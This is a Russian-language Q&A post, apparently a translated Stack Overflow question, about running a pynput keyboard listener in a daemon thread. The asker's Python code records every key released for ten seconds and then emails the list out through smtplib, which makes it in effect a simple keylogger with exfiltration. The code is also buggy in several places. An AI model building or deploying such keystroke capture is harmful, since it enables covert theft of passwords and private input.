Можно ли запустить слушатель клавиатуры pynput в ветке deamon? - PullRequest
0 голосов
/ 22 апреля 2019

Я хочу, чтобы прослушиватель клавиатуры начинался с нажатия клавиши (любой клавиши), а затем добавлял все ключевые события в список.

В настоящее время слушатель настроен так:

listener = keyboard.Listener(
    on_release=on_release)
listener.start()

с помощью этой функции on_release:

def on_release(key):
global recording
if recording:
    global keys_pressed
    keys_pressed.append(str(key))
else:
    recording = True
    keys_pressed.append(str(key))
    start_recording()

Моя идея заключается в том, что вызывается функция start_recording, которая создает поток deamon, в котором слушатель записывает все ключевые событияи который убивается через установленное количество времени:

def start_recording():
    t = Thread(target=add_keys_to_list())
    t.daemon = True
    t.start()
    sleep(10)
    global keys_pressed
    print(" ".join(keys.pressed)
    global recording
    recording = False

функция add_keys_to_list() просто:

def add_keys_to_list():
print("task")
listener = keyboard.Listener(
    on_release=on_release)
listener.start()

Это работает, но только иногда, это также вызывает большое отставание,В моем коде программа распечатывает каждую букву перед добавлением ее в список, и кажется, что слушатель добавляет буквы после того, как основной поток снова проснулся.Я не знаю, вызывает ли это отставание все же.Если вы знаете какие-либо решения или заметили что-то не так с кодом, пожалуйста, дайте мне знать.

Здесь вы можете увидеть код одним куском:

def add_keys_to_list():
    print("task")
    listener = keyboard.Listener(
        on_release=on_release)
    listener.start()


def start_recording():
    t = Thread(target=add_keys_to_list())
    t.daemon = True
    print("starting t")
    t.start()
    print("sleeping")
    sleep(10)
    print("waking up")
    send_email()
    global recording
    recording = False

def on_release(key):
    global recording
    print(key)
    if recording:
        global keys_pressed
        keys_pressed.append(str(key))
    else:
        recording = True
        print("recording start")
        keys_pressed.append(str(key))
        start_recording()


listener = keyboard.Listener(
    on_release=on_release)
listener.start()

recording = False
keys_pressed = []

while True:
    sleep(0.02)

Функция send_email() просто отправитьсписок как электронное письмо с использованием smtplib

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...